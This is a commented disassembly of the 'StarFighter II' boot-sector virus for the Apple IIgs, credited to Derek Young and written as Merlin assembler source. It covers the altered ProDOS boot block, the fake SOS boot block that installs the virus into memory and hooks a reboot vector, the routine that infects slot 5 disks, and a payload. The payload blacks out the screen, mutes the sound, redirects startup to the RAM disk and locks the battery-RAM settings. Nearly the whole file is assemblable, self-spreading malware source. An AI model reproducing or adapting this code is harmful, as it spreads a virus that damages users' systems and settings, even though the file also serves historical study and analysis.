**************************************************
*                                                *
*         -- The StarFighter II virus --         *
*       -- Disassembled by Derek Young --        *
*                                                *
**************************************************
 lst off
 xc
 xc
 mx %11
 org $800

ToWriteBRam = $E10080

bramText = $E102DA
bramBackground = $E102DB
bramVolume = $E102DE ;Sound volume (0-16)

bramStartSlot = $E102E8
bramMonthFormat = $E102F4 ;Format of data (m/d/y, d/m/y, y/m/d)

H0C23 = $0C23

ReadTimeHex = $0D03

RebootVector2 = $E116B8 ;the mystery vector
Unknown2 = $0FB6 ;an unknown vector (probably a flag)

Phase = $C080
DriveOff = $C088 ;for disk ][ access
DriveOn = $C089
ProDriver = $C50A

HOME = $FC58
Tool_Entry = $E10000

SmartEntry = $48

UnitNum = $43
Command = $42 ;these are for the prodos device driver
Buffer = $44
BlockNum = $46

*-------------------------------------------------
* Block 0 - this block is only slightly altered from
* a prodos boot block (the changed opcodes are shown
* in uppercase in the comments).

Block0 hex 01 ;signature byte
 sec
 bcs H0807
 jmp H091C ;why this would happen I don't know....

H0807 sei  ;disable interrupts
 stx UnitNum ;on bootup, x holds the unitnum
 cmp #$03
 php
 txa
 and #$70
 lsr
 lsr
 lsr
 lsr
 ora #$C0 ;make this $Cx with x as the slot number
 sta SmartEntry+1
 ldy #$FF
 sty SmartEntry ;$CxFF
 plp
 iny  ;make Y=0
 lda (SmartEntry),Y ;check the SmartPort dispatch
 bne H085C
 bge Slot6 ;slot number greater than three?
 lda #$03
 sta Block0 ;booting from slot 3
 inc $3D
 lda SmartEntry+1 ;$Cx
 pha
 lda #$5B
 pha
 rts  ;jump to $Cx5B

*-------------------------------------------------
* Set up a routine to read in a block from a Disk ][

Slot6 sta $40 ;A=0, clear $40,$48
 sta SmartEntry
 ldy #$5E ;Disk ][ - $C65E - "read first track, first sector
]copy lda (SmartEntry),Y ;and begin execution of code there."
 sta DiskII-$5E,Y
 iny
 cpy #$EB ;this code copies the Disk ][ firmware into
 bne ]copy ;a buffer so Prodos can read the rest of the blocks

 ldx #8-2
]patch ldy Offsets,X ;get the address of the change
 lda Changes,X ;the byte it's changed to
 sta DiskII,Y ;store it in the code
 lda NewCode,X ;copy prodos's routine into the end
 sta DiskII+$8D,X
 dex
 bpl ]patch

 lda #$09
 sta SmartEntry+1
 lda #$86
H085C ldy #$00
 cmp #$F9
 bcs :gerr
 sta SmartEntry
 sty $60
 sty $4A
 sty $4C
 sty $4E
 sty BlockNum+1
 iny
 sty Command
 nop ;INY (skipped so SF can read in block 1)
 sty BlockNum
 lda #$0A ;LDA #$0C
 sta $61 ;Set up the buffer of the block to read
 sta $4B
]read jsr DoBlock
 bcs goerr ;print the error message
 inc $61 ;increment the buffer
 inc $61
 inc BlockNum ;next block
 lda BlockNum ;read up to block 6
 cmp #$06
 blt ]read
 lda $C00
 ora $C01 ;check the link to the next block
:gerr bne goerr

 lda #$04
 bne H0899
]loop lda $4A
H0899 clc
 adc H0C23
 tay
 bcc H08AD
 inc $4B
 lda $4B
 lsr
 bcs H08AD
 cmp #$0A
 beq H091C
 ldy #$04
H08AD sty $4A
 lda H0920
 and #$0F
 tay
H08B5 lda ($4A),Y
 cmp H0920,Y
 bne ]loop
 dey
 bpl H08B5
 ldy #$16
 lda ($4A),Y
 lsr
 adc H091F
 sta H091F
 ldy #$11
 lda ($4A),Y
 sta BlockNum
 iny
 lda ($4A),Y
 sta BlockNum+1
 lda #$00
 sta $4A
 ldy #$1E
 sty $4B
 sty $61
 iny
 sty $4D
H08E2 jsr DoBlock
goerr bcs H091C
 inc $61
 inc $61
 ldy $4E
 inc $4E
 lda ($4A),Y
 sta BlockNum
 lda ($4C),Y
 sta BlockNum+1
 ora ($4A),Y
 bne H0913
 ldx #$01
 lda #$00
 tay
H0900 sta ($60),Y
 iny
 bne H0900
 inc $61 ;NOP NOP
 inc $61
 dex
 bpl H0900
 sec  ;DEC 91F
 lda $61 ;BEQ label {+07}
 sbc #$04 ;BNE label {-28}
 sta $61
H0913 dec H091F
 bne H08E2
 cli
 jmp Block1 ;JMP $2000

H091C jmp PrintError

H091F hex 02

H0920 asc 26'PRODOS'

DoBlock lda $60
 sta Buffer
 lda $61
 sta Buffer+1
 jmp (SmartEntry)


*-------------------------------------------------
* This is a patch table used so prodos can copy
* the disk ][ firmware and patch it.

Offsets hex 08,1E,24,3F,45,47,76

Changes hex F4
 hex D7 ;these are the new bytes, patched into the code
 hex D1 ;at the above offsets.
 hex B6
 hex 4B
 hex B4
 hex AC

NewCode ldx $2B ;this code is patched into the new code as well
 clc
 rts
 jmp H09BC ;(jump out into the bootblock)

*-------------------------------------------------
* Print the standard prodos error message and hang

PrintError jsr HOME
 ldy #21-1
]loop lda ErrMsg,Y
 sta $5B1,Y ;store it on the screen
 dey
 bpl ]loop

:hang jmp :hang

ErrMsg asc "UNABLE TO LOAD PRODOS"

*-------------------------------------------------
* These are routines used by the prodos so that it
* can read from a Disk ][.  They are called by the
* patched firmware copied into "DiskII".

phaseon lda $53 ;phase number
phaseon2 and #%11
 rol
 ora $2B ;slot number
 tax
 lda Phase,X ;turn a phase on or off
 lda #$2C
H097A ldx #$11
H097C dex  ;timing routine
 bne H097C
 sbc #$01
 bne H097A
 ldx $2B
 rts

 lda BlockNum
 and #$07
 cmp #$04
 and #$03
 php
 asl
 plp
 rol
 sta $3D
H0994 lda BlockNum+1
 lsr
 lda BlockNum
 ror
 lsr
 lsr
 sta $41
 asl
 sta $51
 lda Buffer+1
 sta $27
 ldx $2B ;get the slot number
 lda DriveOn,X ;turn the drive on
 jsr H09BC
 inc $27
 inc $3D
 inc $3D
 bcs H09B8
 jsr H09BC
H09B8 ldy DriveOff,X ;turn the drive off
H09BB rts

H09BC lda $40
 asl
 sta $53
 lda #$00
 sta $54
H09C5 lda $53
 sta $50
 sec
 sbc $51
 beq H09E2
 bcs H09D4
 inc $53
 bcc H09D6
H09D4 dec $53
H09D6 sec
 jsr phaseon
 lda $50
 clc
 jsr phaseon2 ;alternate entry
 bne H09C5
H09E2 ldy #$7F
 sty $52
 php
H09E7 plp
 sec
 dec $52
 beq H09BB
 clc
 php
 dey
 beq H09E7

DiskII ds $A00-*-1
InfectedBy hex 10 ;HEX 00 in a normal prodos block
   ;This is the virus number the block was infected
   ;by (I think)

**************************************************
* Block 1 - designed to look similar to the Apple III's
* SOS boot block.  This is where the virus is.

Block1 jmp InstallVirus
 asc 'SOS BOOT  1.1 '
 str 'SOS.KERNEL'
 asc '     SOS KRNLI/O ERROR'0800
 asc 'FILE '27'SOS.KERNEL'27' NOT FOUND%'00 ;(27's are ')
 asc 'INVALID KERNEL FILE:'00
 hex 00

InfectCount da 7
Count hex 10

InstallVirus clc
 xce
 sep $30
 ldal $E116B8 ;an unknown vector
 cmp #$4C
 bne :skip1
 ldal $E10A69 ;(the hex 10 right above)
 cmp InfectedBy ;has the virus been installed already?
 bge :skip2
:skip1 rep $30
 lda #$200-1 ;length to move
 ldx #$A00 ;source,destination
 txy
 mvn $000000,$E10000 ;move block 1 into bank $E1
:skip2 rep $30
 jml $E10A91 ;jump to this exact place in bank $E1
   ;now we're running in $E1
 lda RebootVector2
 cmp #$BB4C ;JMP xxBB?
 beq :done ;yes...
 lda RebootVector2 ;save the old vector
 sta Return
 lda RebootVector2+2
 sta Return+2
 lda #Virus ;new location to jump to
 sta RebootVector2+1
:done sep %00110001
 xce  ;emulation mode
 lda #$4C
 sta RebootVector2 ;store a jump at the unknown vector
 and #$00
 pha
 plb  ;data bank = 0
 jml $002000 ;jump to PRODOS

 mx %00
Virus phb
 phk
 plb
 lda #$0102
 cmp bramMonthFormat
 beq Store+1
 stz Unknown2 ;another unknown vector

 lda #$200-1 ;length of block to copy
 ldx #$A00 ;address of source and destination
 txy
 mvn $E10000,$000000 ;copy this code into bank $00
 jsl $000B1E ;jump to "Infect" in bank $00
 phk
 plb  ;set the data bank = 0
 lda InfectCount
 and #%111 ;divisible by eight evenly?
 bne Leave

 pha
 pha ;result space
 pha
 pha
 ldx #ReadTimeHex
 jsl Tool_Entry
 plx  ;minute and second
 pla  ;year and hour
 plx  ;month and day
 plx  ;week day
 and #$00FF ;check the hour
 cmp #18+1 ;is it after 6 o'clock?
 blt Leave ;not yet

 stz bramText
 stz bramBackground ;set all the screen colors to black
 stz bramVolume ;also set the volume to 0 so a bootup can't be heard

 sep $30
 lda #8 ;8 = start RAM disk
 sta bramStartSlot

 jsl ToWriteBRam ;write the new paramaters to disk
 rep $30
 lda #$B5E2 ;set the ToWriteBRam vector to point to a CLC/RTL!
 sta ToWriteBRam+1 ;Now even the control panel can't rewrite it.
Store bit $E98F ;meaningless like this, but when entered on the
 ora [$E0] ;second byte this turns into STAL $E007E9
Leave plb
Return jml $FF0332

* This code reads in the boot block of the disk being booted,
* infects it and then copies itself onto block 1.

Infect phd
 inc
 pha
 pld
 sep %00110001
 xce  ;emulation mode
 ldal bramStartSlot
 beq :scan ;booting from Scan?
 cmp #5 ;booting from slot 5?
 bne Exit
:scan lda #$01 ;read
 sta Command
 lda #$50
 sta UnitNum ;read from slot 5
 lda #$0C
 sta Buffer+1
 stz Buffer ;read into $C00
 stz BlockNum ;block 0
 stz BlockNum+1
 jsr ProDriver ;call the prodos device driver
 bcc :rerr
 lda #8 ;set startup device to RAM disk
 stal bramStartSlot
:rerr lda $DFF ;the starfighter signature byte
 cmp #$10 ;is this a starfighter block?
 blt :skip
 cmp Count
 bge Exit
:skip lda Count
 sta $DFF

 ldx #2
CheckVer dex
 bmi Exit
 lda $C70,X
 cmp #$C8 ;is this a prodos block?
 beq :1 ;Prodos block
 cmp #$EA ;StarFighter block
 bne CheckVer ;might be off by one
:1 lda $C74,X
 cmp #$0C
 beq :2
 cmp #$0A
 bne Exit
:2 lda #$EA ;NOP
 sta $C70,X
 and #$0F ;make it $0A
 sta $C74,X
 cpx #0
 bne Store2+1
 sta $CFE

Store2 ldal $0D1B8D ;when entered on second byte this is STA $D1B
 inc Command ;change the command to write
 jsr ProDriver ;write the altered block back onto the disk
 bcs Exit

 lda #$0A
 sta Buffer+1 ;address of where this code is executing ($A00)
 inc BlockNum ;block 1
 inc InfectCount ;increment the infection count
 jsr ProDriver ;write the fake SOS block to block 1

Exit clc
 xce
 rep $30
 pld
 rtl

 asc ")c(II rethgifratS"
   ;"Starfighter II)c("

* This is just filler so the block looks the same length as
* an SOS boot block

 hex FFEF708441AC0B27915616568200A861
 hex 4C18B816E1819D564588023328495465
 hex 7887564211574AB04580633AABCE5645
 hex 62AB78A222669789

 ds \ ;fill with zeros to the end of the block

 typ BIN
 sav Star ;save the object code
